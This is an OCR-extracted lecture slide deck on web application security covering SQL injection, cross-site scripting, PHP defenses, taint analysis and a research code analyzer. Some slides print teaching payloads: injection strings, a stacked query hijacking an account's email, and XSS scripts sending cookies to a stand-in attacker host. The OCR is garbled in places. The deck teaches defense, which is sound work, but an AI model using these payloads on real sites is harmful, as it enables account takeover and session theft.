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Caveats

» Concern mainly with security problems
resulted from program defects

» WIill use PHP and JavaScript for illustration,
though there are many other languages

» Means of analysis in general

o Testing and simulation

o Formal verification
+ Algorithmic: static analysis, model Checking,_

» Deductive: theorem proving

® Manual code rev1ew
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Personal Perspective

» I'am a formal verification person, seeking
practical uses of my expertise.

» Web application security is one of the very few
practical domains where programmers find
program analyzers useful /indispensable.

» There are challenging problems unsolved by
current commercial tools.
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How the Web Works

Request for a Web page
rieve/generate

page, possibly
ing data from
database and
ing client-side
ipts to enrich
nctionalities

Delivery of the page in
HTML + scripts

side scripts on
the page

. ~
Note cookles or the equwalent are typlcally used for ma “ r'".:-;,'-’-ﬁm

% f Weps \—a_--;
) _% S e =P Jjj)

J&r 3




ﬂ?—ﬁ‘[ﬁﬁ@ﬁﬁ { ) t_-'-'«..‘:. :.i; .'_;i-;é_;- BAERS

"~ Web Applications

» Web applications refer mainly to the
application programs running on the server.

» Part of a Web application may run on the client.

» Together, they make the Web interactive,
convenient, and versatile.

» Online activities enabled by Web applications:

» Hotel/transportation reservation, | “
+» Banking, social networks, etc. VRPTR f

& As such, Web appllcatlons often 1nvolve,m€}?’




Web Applications: Dynamic Contents

<?

Slink = mysql_connect(‘localhost’,‘'username’,’password’); // connect to
database

Sdb = mysql_select_db(‘dbname’,$link);

)73

e,
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Web Applications: Client-Side Script

<html>

<head>
<title>Example 2</title>
<script type=‘text/javascript’>

— .
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Vulnerable Web Applicatlons

» Many Web applications have security
vulnerabilities that may be exploited by the
attacker.

» Most security vulnerabilities are a result of bad
programming practices or programming
errors.

» The possible damages:

o Your personal data get stolen.

s of W

%é& =N 2 —

—



ﬂ*ﬁfﬁﬂﬁ@ﬁﬁ () "F""' "51- ‘ﬁ-!' ¥

Jmpan Science and Techrology Agency

A Common Vulnerability: SQL ln)ectlon

» User’s inputs are used as parts of an SQL query,
without being checked/validated.

» Attackers may exploit the vulnerability to read,
update, create, or delete arbitrary data in the database.
» Example (display all users’ information):

» Relevant code in a vulnerable application:
Ssql = “SELECT * FROM users WHERE id = . S_GET[‘id’] . “’”;

¢ The attacker types in 0° OR "1’ = "1 as the input for id.
o The actual query executed: S

SELECT * FROM users WHERE id = ‘0’ OR ‘1’ = ‘1’;
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~ SQL Injection (cont.

Vulnerable
Website

B
1. Send an HTTP request

with id =1128

2. The server returns the
user data with id=1128

(SQL query:

SELECT * FROM user

WHERE id=1128’;)

1. Send an HTTP request withid =0’ OR ‘1’="1

< =
2. The server returns all tuples in the user table A &YX
(SELECT * FROM user WHERE id=‘0’ OR ‘1’=1";) = -*d..> LK

= _message User aware of P messag

11778 T : ‘\\ — or vveg; %ﬁl{
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Compromised Websites

» Compromised legitimate websites can
introduce malware and scams.

» Compromised sites of 2010 include
» the European site of popular tech blog TechCrunch,

» news outlets like the Jerusalem Post, and

» local government websites like that of the U.K's
Somerset County Council.

» 30,000 new malicious URLs every day.

Source Sophos securlty threat report 2011
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Compromised Websites (cbnt.)

» More than 70% of those URLs are legitimate
websites that have been hacked or
compromised.

» Criminals gain access to the data on a
legitimate site and subvert it to their own ends.

» They achieve this by

o exploiting vulnerabilities in the software that )
: 3
power the sites or S
)

g SN

» by stealing access credentials from malware- ﬁ(?

infected machines. - s -t(;-_'-.f O
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Prevention

» Properly configure the server
» Use secure application interfaces

» Validate (sanitize) all inputs from the user and
even the database

» Apply detection/verification tools and repair
errors before deployment

o Commercial tools @

o Free tools from research laboratories & /\5
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OWASP Top 10 Application Security Risks

Injection

Cross-Site Scripting (XSS)
Broken Authentication and Session Management
Insecure Direct Object Reference
Cross-Site Request Forgery (CSRF)
Security Misconfiguration

Insecure Cryptographic Storage
Failure to Restrict URL Access
Insufficient Transport Layer Protection
Unvalidated Redirects and Forwards

© © & & & & o o o <
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What Changed from 2007 to 2010

U ASF 10p 1L UU ‘revic U ASF lop 1L J10 E
A2 — Injection Flaws Al — Injection
Al - Cross Site Scripting (XSS) A2 — Cross-Site Scripting (XSS)
A7 — Broken Authentication and Session Management A3 — Broken Authentication and Session Management
A4 - Insecure Direct Object Reference A4 — Insecure Direct Object References
A5 - Cross Site Request Forgery (CSRF) A5 — Cross-Site Request Forgery (CSRF)

<was T10 2004 A10 - Insecure Configuration Management> A6 — Security Misconfiguration (NEW)

A8 — Insecure Cryptographic Storage A7 — Insecure Cryptographic Storage

A10 - Failure to Restrict URL Access A8 — Failure to Restrict URL Access

A9 — Insecure Communications A9 — Insufficient Transport Layer Protection

<not in T10 2007> Al10 — Unvalidated Redirects and Forwards (NEW)
A3 — Malicious File Execution <dropped from T10 2010>

A6 - Information Leakage and Improper Error Handling <dropped from T10 2010>

{)
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» Example:

Forgot Password
Email:
We will send your account information to your email address.

Ssql = “SELECT login_id, passwd, full_name, email
FROM users
WHERE email =’ . S_GET[‘email’] . “’”;

relevant code:

» The attacker may set things up to steal the account of

Bob (bob@example.com) by fooling the server to

execute: SELECT login_id, passwd, full_name, email
FROM users

WHERE email = ‘x’;

UPDATE users

SET email = ‘evil@attack.com’

! M WHERE effd < ‘bobi@exsimiplescor’

23N . _
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Defenses against SQL Injection in PHP

» Sources (where tainted data come from)
o $_GET, $_POST, $_SERVER, $_COOKIE, $_FILE,
$_REQUEST, $_SESSION
» Sinks (where tainted data should not be used)

o mysql_query(),mysql_create_db(),
mysql_db_query (), mysql_drop_db(),
mysql_unbuffered_query ()

» Defenses

» Parameter: magic_quotes_gpc
» Built-in function: addslashes 45-

-
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Defenses against SQL Injection (cont.)

» Setthemagic_quotes_gpc parameter on in the PHP
configuration file.

o When the parameter is on, ' (single-quote), " (double
quote), | (backslash) and NULL characters are escaped
with a backslash automatically.

» Built-in function: addslashes( string $str )

o The same effect as setting magic_quotes_gpc on

<?php
$str = "Is your name O‘Brien?"; . f;

echo addslashes(S$str); N , /\5
// Output: Is your name O\'Brien? - M‘;& -
B et W=t
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Defenses against SQL Injection (cont.)

» Prepared statements

o Set up a statement once, and then execute it many times
with different parameters.

» Example:

Sdb_connection = new mysqli("localhost", "user", "pass", "db");
Sstatement = Sdb_connection->prepare("SELECT * FROM users WHERE id
=?");

Sstatement->bind_param("i", Sid);

Sstatement->execute(); ...

» To execute the above query, one needs to supply the &5

actual value for ? (which is called a placeholder}). /\3

o The first argument of bind_param() is the lnpu%‘?y;p-e BEE
i for int, s for strlr}g, d for double |

o= o e o,
P~ Wi d L™
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Cross-Site Scripting (XSS)

» The server sends unchecked/unvalidated data to
user’s browser.

» Attackers may exploit the vulnerability to execute
client-side scripts to:
o Hijack user sessions
» Deface websites
» Conduct phishing attacks

» Types of cross-site scripting :
o Stored XSS
» Reflected XSS

11/28 %ﬁ\\(%%ivve
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Stored XSS

Vulnerable
Website

1. Post a malicious message onto the bulletin board.

<script>document.location=

“http://attackersite/collect.cgi?cooKki

+_document.cookie;
</script>

<

2. Logon request

3. Set-Cookie: ...

4. Read the bulletin board

6. The victim's browser runs the

script and transmits the cookie to

the attacker.

5. Show the malicious script

. ~ =
<script>document.location=

e=’ e e &
. ~ =

+ document.cookie; _* ~

</script> ~ 55 -

= _message Victim aware of

11728 T/_H‘\ m I eIS0T We
- — _’- -
-:""-.._ _%. B r_:‘-k /)d;_—-::'.;-.“-\x — \ - =

———p message Victim unaware
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Reflected XSS

<

3. Request by clicking unwittingly
a link to Attacker’s site

4.

<HTML>

<a href='http://vulnerablesite/welcome.cgi?
name=<script>window.open(%27http://
attackersite/collect.cgi?cookie=%27%2Bdoc
ument.cookie);</script>">vulnerablesite</a
>

<

7.
http://attackersite/collect.cgi?cookie=ID=
Al12345

(cookie stolen by the attacker)

>

Vulnerable
Website

>
1. Logon request
<
2. Set-Cookie: ID=A12345
>
5.
<HTML>

<a href=‘http://vulnerablesite/welcome.cgi?
name=<script>window.open(%27http://
attackersite/collect.cgi?cookie=%27%2Bdoc
ument.cookie);</script>’>vulnerablesite</a

45

6. _
<HTML> .\ Y
<Title>Welcome!</Title>Hi . N

<script>window.open(‘http: //attacﬁensj s

/collect.cgi?cookie = +document.copk
- o
</script>

A g

"

———> message \Lctlm u-hawa#e' '

—> _message V|ct|m aware of
‘\\
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Defenses against Cross-Site Scripting in PHP

= Sources (assumption: the database is not tainted)

o $_GET, $_POST, $_SERVER, $_COOKIE, $_FILE,
$_ REQUEST, $_SESSION

= More Sources (assumption: the database is tainted)

» mysql_fetch_array(), mysql_fetch_field(),
mysql_fetch_object(), mysql_fetch_row(), ...

o Sinks
o echo, printf, ...

» Defenses
» htmlspecialchars()
o htmlentltles()
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Defenses against Cross-Site Scripting (cont.)

» Built-in function: htmlspecialchars( string $str [, int
$quote_style = ENT_COMPAT])

» Convert special characters to HTML entities
'&' (ampersand) becomes '&amp;’

(double quote) becomes '&quot;’ when
ENT_NOQUOTES is not set.

""" (single quote) becomes '&#039;' only when
ENT_QUOTES is set.

<'(less than) becomes '&lt;’
>' (greater than) becomes '&gt;’ .
<?php 1 -

$new = htmlspecialchars("<a href="test'>Test</a>", ENT_QUOTES); -
echo $new; // &lt;a href=&#039;test&#039;&gt; Test&lt; /a&gt;

 — e, e — e —— e — e —— A
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Defenses against Cross-Site Scripting (cont.)

» Built-in function: htmlentities( string $string [, int
$quote_style = ENT_COMPAT] )

o the same effect with built-in function:
htmlspecialchars()

<?php

$orig = "I'll \"walk\" the <b>dog</b> now";

$a = htmlentities($orig);

$b = html_entity_decode($a);

echo $a; // I'll &quot;walk&quot; the &It;b&gt;dog&lt; /b&gt;

now
echo $b; // I'll "walk" the <b>dog</b> now (:‘
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Current Status

» Most known Web application security
vulnerabilities can be fixed.

» There are code analysis tools that can help to
detect such security vulnerabilities.

& S0, what are the problems?

%\\f;ﬁ \/—‘\
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An Example

01 <?php

02 Sid = $_POST["id"];
03 Sdept =S POST["dept"];

IR

A
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Control Flow Graph
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Dependency Graph (1/3)

Untainted Tainted
Untainted Untainted Tainted

True

Untainted

-
B o
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Dependency Graph (2/3)
$_pOSTI'id"],2

Tainted Tainted

\%

Untainted Tamted Tainted

Tainted
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Dependency Graph (3/3)

Tainted Tainted

Untainted Tainted Tainted

Tainted

S

LK ecuirpes '\“L” - . ,
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Alias

Dependency Graph
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Detecting Vulnerabilities by Taint Analysis

» All inputs from a source are considered tainted.

» Data that depend on tainted data are also
considered tainted.

» Some functions may be designated as
sanitization functions (for particular security
vulnerabilities).

» Values returned from a sanitization function =

. _ &
are considered clean or untainted. | \3
ol

o Report Vulnerabilities when taintedva].,hges.‘areﬁ
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Problems and Objectives

» Four problems (among others) remain:

o Existing code analysis tools report too many false
positives.

o They rely on the programmer to ensure correctness
of sanitization functions.

o Many tools report false negatives in some cases.

o Web application languages/frameworks are
numerous and hard to catch up. | &

» We aim to solve the first three problems and. /\5
alleviate the fourth. 2 =N

S
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Use of a Code Analysis Tool

Source code, Code analysis tool

Web pages Analysis results

Manual review

(5,

Improvement Analysi\ "por}
recommendations e e \ BRI .. -'
\?

o

Note: fewer false positives means less workload for the hu*m |

Note there ay be p055| ble feedback I Is s between
3 eSS Of We \\»‘
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nnnnnnnnnnnnnnnnn Challenges

» Dynamic features of scripting languages
popular for Web application development:

¢ Dynamic typing
o Dynamic code generation and inclusion
» Other difficult language features:

o Aliases and hash tables
o Strings and numerical quantities

» Interactions between client-side code, server-...
side code, databases, and system Conflgura‘fn’c)‘ns,.

Y VarlatLoQ in brotwser andserver behavmrs —
\": 6':;' — %)) ] — r ym—1))}17 — __."‘r - J\\— ‘J“? -J ) e o
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Challenges: Alias Analysis

» In PHP, aliases may be introduced by using the
reference operator “&".

<?php

OTool A: false negative OTool A: false ga [\
OTool B: true positive OTool B: false—ne

ote: Tool A & dTooIB A -.; ,
c"hp 11/28 @3S \\35,,;))}//}/ 4 = M “’»)
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Challenges: Alias Analysis (cont.)

» None of the existing tools (that we have tested)
handles aliases between objects.

<?php
class car{

~ G§P8TR(11/28 @S 6\'{(\, R N R
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Challenges: Strings and Numbers

1 if(S_GET[‘mode’] == "add"){

2 if(lisset(S_GET[‘msg’]) | | lisset(S_GET[‘poster’])){

3 exit;

4 }

5 Smy_msg=S_GET['msg’];

6 Smy_poster =S_GET[‘poster’];

7 if (strlen(Smy_msg) > 100 && !ereg(“script",Smy_msg))}{
8 echo "Thank you for posting the message Smy_msg";
9 1}

10 }

11 ...

» To exploit the XSS vulnerability at line-8; we 2
have to generate input strings satisfying Ih:e/g /\3\
Condltlons at llnes 1, 2, and 7, Wthh 1nvol'Ve/ N
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Challenges: A Theoretical leltatlon

» Consider the class of programs with:
o Assignment
» Sequencing, conditional branch, goto
o At least three string variables

o String concatenation (or even just appending a
symbol to a string)

o Equality testing between two string variables

» The Reachability Problem for this class of |
programs is undecidable. »

1/28 : —
- ) N SN
Jé% = -x\ é/: SN ,_\@A
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Research Opportunities

» Advanced and integrated program analyses
» Formal certification of Web applications

» Development methods (including language
design) for secure Web applications

» A completely new and secure Web (beyond
http-related protocols)




—= T Business Opportunities:

Code Review/Analysis Service

» This requires a combination of knowledge
» Security domain
o Program analysis
o Program testing
o Review process

» There are real and growing demands!

» A few industry and academic groups are
building up their capabilities. '
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CANTU (Code Analyzer from NTU)

» Itis an integrated environment for analyzing
Web applications.

» Main features:

» Building on CIL, to treat different languages and
frameworks

» Dataflow analysis across client, server, database,
and system configurations

o Incorporating dynamic analysis to confirm:true &

positives S5 il /\5
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Architecture of CANTU

=

- , N =
PHP [ HTML [ JavaScript ][ SQL Database ][ Configuration
Parser [ Parser [ Parser ] [ Parser Translator ][ Translator ]

! Z/

nd

—¥ L |

CIL Intermediate Representation

\ 4

v

Static Analysis

Dynamic Testing

[ Dataflow ][ Vulnerability] [ Test Cases I Vulnerability ]
Analysis Detection Generation | Confirmation
g [RNSY

Analysis Results
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Components of Static Analysis

PHP Web
Applications

Python Web
Applications

Other Web
Applications

Parse PHP to C AST

Y

Parse Python

to C AST

Parse ... to C AST

V.

C Abstract Syntax Tree

Convert C AST to CIL

CIL Intermediate
Representation

)} % JJJ) M”’)))///}f
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Representing PHP Variables in CIL

struct  {
struct hashtable *val;
struct hashtable *index;

o @ ERgS m‘.q SIS D A'\i -\:\.r‘W“ s “-“m"o w_\,
‘3‘»}}})};% 4)//)3 35»%/ ‘j)///’ / < ””%J/%t})/j}) “% D =
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Executing Generated

Client

4 CANTU h

Project: projectl
Vul:

1.XSS testcasel
2.SQL injection | testease2.
\_ /

—

4 N

a.php simulate.js
/*
original code Uses the ajax

) ITICPRE KA T AW
..... r

Tests

Server

runTest.php

/*
instrument

javascript code
*/

o
redirect to

the entry page
*/
redirect(“a.php”);

testcasel.xml

<TestCase>
<vulnerability>Reflected XSS
</vulnerability>
<precondition></precondition>

<scenario>
<step>
<id>1</id>

getStep.php

<page>a.php</page>
<action>browse</action>
<target></target>

<!--instrument code --> method to get
<script src="simulate.js"> test info
</script> */

- %

/*
manipulate
the webpage

Py
%W%\

OT We

/—"-"-‘:::&\\_

/*
Get a test step
*/

<typingString></typingStrin
</step>

<expectedValue>
<type>document.title</typex
-  <info>XSS</info>
~ </expectedValue>
<result></result>._
& <}TestCas Al

verify.php
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Conclusion

» Web application security has drawn much
attention from the public, the industry, and the
academia.

» Making Web applications secure requires a
combination of expertise in different areas.

» This provides great opportunities for
research/development collaboration.

o CANTU represents our vision of this collaboration.

)
o It should also create good opportunltles gf*‘;‘f
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